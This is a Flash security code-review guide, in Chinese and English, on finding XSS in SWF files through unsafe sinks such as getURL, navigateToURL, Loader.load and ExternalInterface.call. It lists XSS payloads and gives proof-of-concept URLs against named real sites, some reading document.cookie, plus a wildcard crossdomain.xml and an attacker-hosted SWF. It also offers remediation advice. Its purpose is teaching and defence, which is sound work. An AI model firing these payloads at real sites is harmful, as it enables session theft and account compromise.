

Flash Security CodeReview Guide



Author:Hip
hip@insight-labs.org

Insight 内部版

Flash Security CodeReview Guide

1. Introduction

1.1 What About Flash Risk

2. Vulnerability Analysis Requirement

2.1 Common Tools

2.2 Common potential Source/Sink

3. Case Study In Real World / Real Example Analysis

3.1 FlashVars AS2/AS3

3.2 GetUrl

3.3 navigateToURL

3.4 XMLload

3.5 Loader.load

3.6 TextField

3.7 ExternalInterface.call

4. Remediation

1.Introduction

為什麼會想寫這篇文章,雖然 Flash XSS 這個概念不是新的,早在 2002 年(網址)就出現這個技巧,由於最近參加許多企業 Bug bounty 活動 ,發現許多公司像是 Apple , Amazon, Adobe,Paypal..都存在 Flash XSS 弱點,所以希望寫這篇文章可以帶來更多人關注 Flash 安全。

學習 Flash 之前的基本知識可以先參考 Reference(1)(2)(3)

1.1 What About Flash Risk

我們都知道 Flash 是使用 ActionScript 所開發 base on ECMAScript, 所以開發者只要不安全的使用輸入跟敏感 function,就可以執行任意 Javascript,聽起來很熟悉,沒錯,Flash 確實存在類似 Web 的 DOM XSS Vulnerability.

但我想大家第一印象肯定是想到 Flash 不安全使用 getURL(),就會導致 XSS 類似的漏洞早在 2002 年或更久之前就有人發現了.我想必須跟你說,這只是攻擊方法之一,下面會介紹更多的分析方法.

Flash base XSS 基本上他所造成的危害跟傳統上 Web base XSS 一樣,弱點類型可以分為

Cross Site Scripting

Cross-site request forgery

Content Spoofing

2. Vulnerability Analysis Requirement

在分析前我們的環境必須準備好相關工具,跟常見進入點以及常見危險 Function 針對 SWF decompile Tools 有許多,我只列下面兩個,這邊要特別說一下,SWFScan 有時候 decompile 出來的 source code 並不是很好,這關於 AS2/AS3 支援程度,在少數例子下有些 Input 點卻沒有逆出來,而且他雖然有 Analyzer 功能但請不要在意他,因為我有找到很多存在弱點的 SWF,他是都掃不出來的,我們只借用他 decompile 功能就好.

2.1. Common Tools

Decompile Tools:

SWFScan

Showmycode

Debugging Tools:

IE Developer Tool

Debugger version of Flash Player

2.2 Common potential Source/Sink

Common input element attributes:

未初始化的變量或 input，我們是可以直接控制，如果這個變量進入了危險函式如 geturl, ExternalInterface.call 那就存在弱點了那這麼簡單:D

Uninitialized global variable

_global (AS2)

_root

_level0

URL INPUT

loaderInfo.parameters

可提供給 SWF 載入的參數，透過 URL 来获得 contentLoaderInfo.parameters 屬性的值

FlashVars

FlashVars 的用法很簡單，但您必須將 SWF 檔和 HTML 文件一同發佈。請修改產生的 HTML 程式碼，在 object 和 embed 標籤中放入 FlashVars 屬性。

Example:

```
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400" id="myFlashMovie" align="middle">
```

```
<param name="movie" value="myPOC.swf" />
<param name=FlashVars value="myVariable=Insight" />
</object>
```

Processing the XML file

firstChild

會評估指定的 `XMLDocument` 物件，並參照父節點之子清單中的第一個子節點。

childNodes

指定 `XMLNode` 物件的子系陣列。

attributes

包含指定之 `XMLNode` 實體之所有特質的物件。

Example1:

```
<?xml version="1.0"?>
<test>
<img titl="0" desc="" main="0.jpg" thumbs="0.jpg"/>
<img titl="1" desc="" main="1.jpg" thumbs="1.jpg"/>
<img titl="2" desc="" main="2.jpg" thumbs="2.jpg"/>
<img titl="3" desc="" main="3.jpg" thumbs=".jpg"/>
</test>
```

```
arrDescription[i] = myPhoto.firstChild.childNodes[i].attributes.desc;
arrTitle[i] = myPhoto.firstChild.childNodes[i].attributes.titl;
arrMainLoc[i] = myPhoto.firstChild.childNodes[i].attributes.main;
arrThumbLoc[i] = myPhoto.firstChild.childNodes[i].attributes.thumbs;
trace(arrTitle[i]); //Tests Loaded titles
trace(arrDescription[i]); //Tests Loaded descriptions
```

Example2

```
<book category="cooking">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
```

```
firstNode.childNodes[i].nodeName  
firstNode.childNodes[i].childNodes[0].nodeValue
```

OUTPUT:

```
title = Everyday Italian  
author = Giada De Laurentiis  
year = 2005  
price = 30.00
```

Common Unsafe Methods

這邊列出開發者使用不當,常發生弱點的函式

```
getURL  
navigateToURL  
XML.load  
load  
ExternalInterface.call  
TextField.text  
TextField.htmlText  
fscommand  
LoadVars.load ,send , sendAndLoad ?  
addCallback
```

在 Unsafe Method 方面如果你有去看 OWASP 所介紹的那些 methods

我可以跟你說在現在新版 Flash Player9 以上像是

```
loadMovie()
```

```
Sound.loadSound()
```

```
NetStream.play()
```

這些都已經不能夠利用 XSS 了, [asfunction works in this context until release Flash Player 9 r48]

AS2

```
getURL
```

從特定的 URL 的加載到一個網頁瀏覽器中

AS3

```
navigateToURL
```

開啟或取代應用程式中的視窗，而該應用程式包含 Flash Player 容器 (通常是指瀏覽器)。在 Adobe AIR 中，此函數會在預設的系統網頁瀏覽器中開啟 URL

From official note:

Developers often pass URL values to the `navigateToURL()` function that were obtained from external sources such as `FlashVars`. Attackers may try to manipulate these external sources to perform attacks such as cross-site scripting. Therefore, developers should validate all URLs before passing them to this function.

`XML.load ('url')`

讀取遠端特定 XML 檔案

If you're trying to load assets (e.g. images, videos) from a different domain than the one where the SWF file is hosted, you'll need a `crossdomain.xml` file hosted on the domain where the assets are located to allow the required files to be loaded in the SWF.

Load

將 SWF、JPEG、漸進式 JPEG、不含動畫的 GIF，或 PNG 檔載入此 Loader 物件的子物件中。

TextField

The `TextField` class is used to create display objects for text display and input.

您可以使用 `TextField` 類別，建立用於顯示和輸入文字的顯示物件。

text

A string that is the current text in the text field.

做為文字欄位中目前文字的字串。

htmlText

Contains the HTML representation of the text field contents.

包含 HTML 表示方式的文字欄位內容。

addEventListener

向傳送事件的組件實體註冊偵聽程式物件。當事件發生時，就會通知這個偵聽程式物件或函數。

addCallback

將 `ActionScript` 方法註冊為可從容器呼叫

容器只能調用函數中的 `ActionScript` 代碼，不能調用任何其他 `ActionScript` 代碼。

若要从容器应用程序调用 `ActionScript` 函数，必须执行两项操作：向

`ExternalInterface` 类注册该函数，然后从容器的代码调用该函数。

`addCallback()` 方法會採用兩個參數。第一個參數是類型為 `String` 的函數名稱，

讓容器知道這個函數的名稱。第二個參數是實際的 `ActionScript` 函數

`ExternalInterface.call`

呼叫 `Flash Player` 容器公開的函數

如果容器是 `HTML` 網頁，則此方法會叫用 `script` 元素中的 `JavaScript` 函數。

如果容器是其它 `ActiveX` 容器，則此方法會傳送特定名稱的 `FlashCall ActiveX` 事件，由容器處理該事件。

`ExternalInterface.call()` 它有两个参数：第一个是调用 `JavaScript` 函数的名称。第二个是一个字符串传递给这个函数。

`ExternalInterface .call(functionName:String, arguments)`

```
ExternalInterface.call("JavaScript", _root.callback);  
eval('try {__flash__toXML(Javascript, _root.callback ); } catch (e) { "<undefined/>"; }')
```

`__flash__toXML` 是将函数执行的结果进行编码后传回 `SWF` 的函数，外面再嵌套了一层容错语句

`ExternalInterface.available`

获取有关外部容器的信息

属性指示当前的 `Flash Player` 是否位于提供外部接口的容器中。如果外部接口可用，则此属性为 `true`；否则，为 `false`。在使用 `ExternalInterface` 类中的任何其他功能之前，应始终进行检查以确保当前容器支持外部接口通信

Common Attack Payloads

```
function(){alert(1)}  
h\"))}catch(e){alert(1)}//  
javascript:alert(1)  
&lt;a href='javascript:alert(1)'/&gt;xss&lt;/a&gt;
```

3. Case Study In Real World / Real Example Analysis

Case Study 1 - FlashVars

FlashVars AS2

From Flash Professional Help mentions:


In ActionScript 2.0, you can access the FlashVars variables directly, as if they had been declared in the SWF file itself.

Piece of code:

```
text1.text = myVariable;
```

This example sets the text property of a dynamic text instance called text1 to the value of the variable called myVariable. myVariable is declared in the FlashVars parameter.

```
<object type="application/x-shockwave-flash" data="FlashVars_AS2.swf"
width="550" height="400">
  <param name=FlashVars
value="myVariable=Hello"><script>alert(/hip/)</script>%20World&mySecondVariabl
e=Goodbye" />
</object>
```



FlashVars AS3

From Flash Professional Help mentions:

Use the ActionScript 3.0 LoaderInfo object to access the FlashVars variables.

Piece of code:

```
public function MainTimeline(){
    addFrameScript(0, this.frame1);
}
function frame1(){
    this.paramObj = LoaderInfo(this.root.loaderInfo).parameters.myVariable;
    this.text1.text = this.paramObj.toString();
}
}
```

Source:


```
this.paramObj = LoaderInfo(this.root.loaderInfo).parameters.myVariable;
```

SINK:

```
this.text1.text = this.paramObj.toString();
```



```
<object type="application/x-shockwave-flash" data="FlashVars_AS3.swf"
width="550" height="400">
    <param name=FlashVars
value="myVariable=Hello"><script>alert(/hip/)</script>%20World&mySecondVariabl
e=Goodbye" />
</object>
```

ds/FlashVars_A53_Sample/FlashVars_A53_Sample/FlashVars_A53.htm



Case Study 2 – Geturl (Non-Fix)

<http://store.apple.com/Catalog/US/Images/vday07/img/PersonalizationHome.swf?buyNowURL=javascript:alert%28document.cookie%29>



SOURCE:

未初始化

`_root.homeArray.buyNowURL = buyNowURL;`

SINK:

```
buyNow.onPress = function () {
    var __callResult_586 = getURL(_root.homeArray.buyNowURL, "");
```

Case Study 3-navigateToURL

Wordpress WP FollowMe plugin(還沒報)

Piece of code:

```
this.btn_mc.addEventListener(MouseEvent.CLICK, this.goURL);
```

```
public function goURL(_arg1){
    navigateToURL(new
```

```
URLRequest(loaderInfo(this.root.loaderInfo).parameters.turl), "_blank");  
}
```

SOURCE:

從自定義函式 goURL 中可以看到使用了 Loaderinfo.parameters 變量為 turl 可接受外部輸入,並給 navigateToURL 執行


```
goURL(_arg1)  
navigateToURL(new URLRequest(loaderInfo(this.root.loaderInfo).parameters.turl),  
"_blank");
```

SINK:

gotURL 函式寫入事件監聽中,當鼠標點擊時(MouseEvent.CLICK)即執行 gotURL 函式

```
this.btn_mc.addEventListener(MouseEvent.CLICK, this.goURL);
```

http://icouzin.princeton.edu/wp-content/plugins/wp-followme/flash/wp_followme.swf?twitmsg=&turl=javascript:alert%28hip/%29



Case Study 4-XMLload

補充 source

Piece of code:

Protection Function

```
isDomainEnabled = function (url) {  
    __reg2 = False;  
    var __callResult_7 = url.indexOf("http://");  
    var __callResult_15 = url.indexOf("www");  
    if ( ( ( __callResult_7 == 4294967295 ) && !( __callResult_15 ==  
4294967295 ) ) ) {
```

```

while ( !(( DOMAINS == Null ) ) ) {
    DOMAINS = DOMAINS;
    var __callResult_33 = url.indexOf(DOMAINS);
    if ( !(( __callResult_33 == 4294967295 ) ) ) {
__reg2 = True;

    }
    continue;
var DOMAINS = new Array("paypalobjects.com", "paypal.com", "paypal.de",
"paypal.co.uk", "paypal.com.au", "paypal.fr", "paypal.com.fr", "paypal.ch",
"paypal.com.hk", "paypal.com.mx");

```

Vulnerable trace:

Source

```
__reg1 = myXML.firstChild.childNodes.1.attributes.uri;
```

Sink


```
var __callResult_124 = getURL(__reg1, "");
```


在我们自己网站的根目录下，放置一个 crossdomain.xml

```

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>

```





Case Study 5- Loader.load

v9.demo.phpcms.cn/statics/js/crop/images/Main.swf?picurl=http://insight-labs.org/xss.swf&uploadurl=22

SOURCE:

```
var loc0:* = stage.loaderInfo.parameters["picurl"];
```

SINK:

```
load(new URLRequest(loc0));
```



Load 使用上會有跨域的問題,通常會遇到下面的訊息

SecurityError: Error #2051: Security sandbox violation: http://127.0.0.1/xss.swf cannot evaluate scripting URLs within http://localhost/Main.swf?picurl=http://127.0.0.1/xss.swf&uploadurl=22 (allowScriptAccess is). Attempted URL was javascript:alert(document.domain).

繞過方法:

在同域上傳一個 SWF

Case Study 6 TextField

XML+TextField

xml mp3 player

(1)XML.load:

Source:

```
if ( ( _root.playlist == Undefined ) ) {  
    __reg0 = _root.playlist;  
    playlist = __reg0;
```

SINK:

```
var __callResult_679 = data_xml.load(playlist);
```

(2)TextField

Source:

```
songTitel = new Array()  
var __callResult_124 = songTitel.push(audioTracks.__reg2.attributes.title);
```

array.push

在陣列結尾加入一個或多個元素，並傳回新的陣列長度。

Sink:

```
top.title.txt.text = ( ( songTitel[( current_song - 1 )] + "      " ) +  
songTitel[( current_song - 1 )] );
```

Proof of concept:

```
<?xml version="1.0" encoding="UTF-8"?>  
<player showDisplay="yes" showPlaylist="yes" autoStart="yes" >  
    <song path="http://localhost/" title="&lt;a href='javascript:alert(/hip/)'/&gt;hip&lt;/a&gt;" />  
</player>
```



/hip/

確定

Case Study 7 ExternalInterface Call

loaderInfo.parameters + ExternalInterface.call

`http://nelsonbibles.com/flash/ZeroClipboard.swf?id=\\"))catch(e){alert(1)}//`

Piece of code:

```
public function ZeroClipboard()
{
    super();
    stage.scaleMode = StageScaleMode.EXACT_FIT;
    Security.allowDomain("*");
    flashvars = LoaderInfo(this.root.loaderInfo).parameters; //(1)賦予 flashvars 可
接受輸入參數
    this.domId = flashvars.id; //(2) flashvars.id id 為輸入參數
    this.button = new Sprite();
    this.button.buttonMode = true;
    this.button.useHandCursor = true;
    beginFill(65280);
    drawRect(0, 0, stage.stageWidth, stage.stageHeight);
    this.button.alpha = 0;
    addChild(this.button);
    addEventListener(MouseEvent.CLICK, this.clickHandler);
    addEventListener(MouseEvent.MOUSE_OVER, function()
    {
        ExternalInterface.call("ZeroClipboard.dispatch", domId, "mouseover", null);
        return; //(3) domId 進入到 ExternalInterface.call 第一個參數 function name

    });
}
```

我們輸入 `\\"))catch(e){alert(1)}//` 測試

translated to an eval:

try

```
{ __flash__toXML(ZeroClipboard.dispatch("\\\\"))catch(e){alert(1)}//,"load",null)) ; }
catch (e) { "<undefined/>"; } //(4)使用 IE debugging 分析该组合起来的 statement,
再这边会是对 "符号进行转义为\\",但我们知道\\是不会转义,所以组合起来,就直接跳去 exception 执行 alert(1),
```


- (1)賦予 flashvars 可接受輸入參數
- (2) flashvars.id id 為輸入參數
- (3) domId 進入到 ExternalInterface.call 第一個參數 function name
- (4)使用 IE debugging 分析該組合起來的 statement,直接跳去 exception 執行 alert(1)

By the way if type \ into eval statement that will transform to \\ is used as the first parameter to ExternalInterface.call

全局變量未初始化 + ExternalInterface.call

<http://puntlandnews24.com/wp-content/plugins/powerpress/audio-player.swf?playerID=%22%29%29%7Dcatch%28e%29%7Dalert%281%29%7D//>



Piece of code:

```
if ( !(( _root.playerID == Undefined ) ) ) {
    options.playerID = _root.playerID;
```

```
flash.external.ExternalInterface.call("AudioPlayer.getVolume",
Application. _options.playerID);
```

loaderInfo.parameters + ExternalInterface.call

[http://maps.yandex.ru/resources/cameras/probki-player.swf?player_id=a\"%22%29%29catch%28e%29{alert\(document.cookie\)}//](http://maps.yandex.ru/resources/cameras/probki-player.swf?player_id=a\)



Piece of code:

```
public function createControllers()
{
    this.createControllers();
    this.viewController = new ProbkiViewController();
    this.viewController.data = ;
    this.viewController.view = ;
    this.external.data = ;
    this.external.flashVars = stage.loaderInfo.parameters;
    return;
```

```
public function getNewStreamUrl()
{
    logger.info("Trying to get new stream url.");
    try {
        if(flashVars["player_id"] != null)
        {
            if(this.getNewStreamUrlMethodName.length == 0)
            {
                ExternalInterface.call("getNewStreamUrl", flashVars["player_id"]);
            }
            else
            {
                ExternalInterface.call(this.getNewStreamUrlMethodName, flashVars["player_id"]);
            }
        }
    }
```

Fixed

```
public function init()
{
    this.init();
    if(! && !)
    {
        this.streamUrl = flashVars["stream_url"];
    }
    if(! && !)
    {
        this.getNewStreamUrlMethodName = this.validateParam(flashVars["callback"]);
    }
    if(flashVars["player_id"] != null)
    {
        this._playerId = this.validateParam(flashVars["player_id"]);
    }
    if(ExternalInterface.available)
    {
```

```
private function validateParam(arg0:String) : String
{
    var loc0:* = decodeURIComponent(arg0);
    var loc1:* = loc0.match(new RegExp("<|>|;|\\\\(\\\\\\\\)\\\\\\\\{\\\\\\\\}\\\\\\\\#|\\\\\\\\%|\\\\\\\\@", "g"));
    if(loc1 && loc1.length > 0)
    {
        return "";
    }
    return arg0;
}
```

4.Remediation:

Input Validation:

encodeURIComponent

Escape

Regular Expression (AS3)

Replace suspicious character , for example: \\ 、 \ 、 " 、 % 、 &

Reference:

(1)Creating more secure SWF web applications

http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html#articlecontentAdobe_numberedheader

(2)Cross-domain Policy File Specification

<http://www.senocular.com/pub/adobe/crossdomain/policyfiles.html>

(3)By passing JavaScript Filters – the Flash! Attack

<http://eyeonsecurity.org/papers/flash-xss.pdf>

Flash ExternalInterface.get in touch with() JavaScript Injection – can make the

(4)websites susceptible to XSS

<http://www.cipherweb.org/security/flash-externalinterface-get-in-touch-with-javascript-injection-can-make-the-websites-susceptible-to-xss/>

(5)Test.Security(Flash)

http://www.andlabs.org/presentations/Test_Security_Flash.pdf

(6)Testing for Cross site flashing

https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_%28OWASP-DV-004%29

(7)Cross Site Flashing Examples

<http://demo.testfire.net/vulnerable.swf>

(8)Demos for "Flash SWF files allow XSS on multiple sites"

<http://eyeonsecurity.org/advisories/flash-demo/>

(9)Creating more secure SWF web applications

http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

Practice

360.com Cross Site Scripting in SWF

http://360.com/content/dam/vodafone/heroflash/hero_module/HSControllerModule001.swf

content spoof

http://imgcache.qq.com/minivideo_v1/vd/res/TencentPlayerLive.swf?auto=1&vurl=http://180.153.72.232:1863/2.flv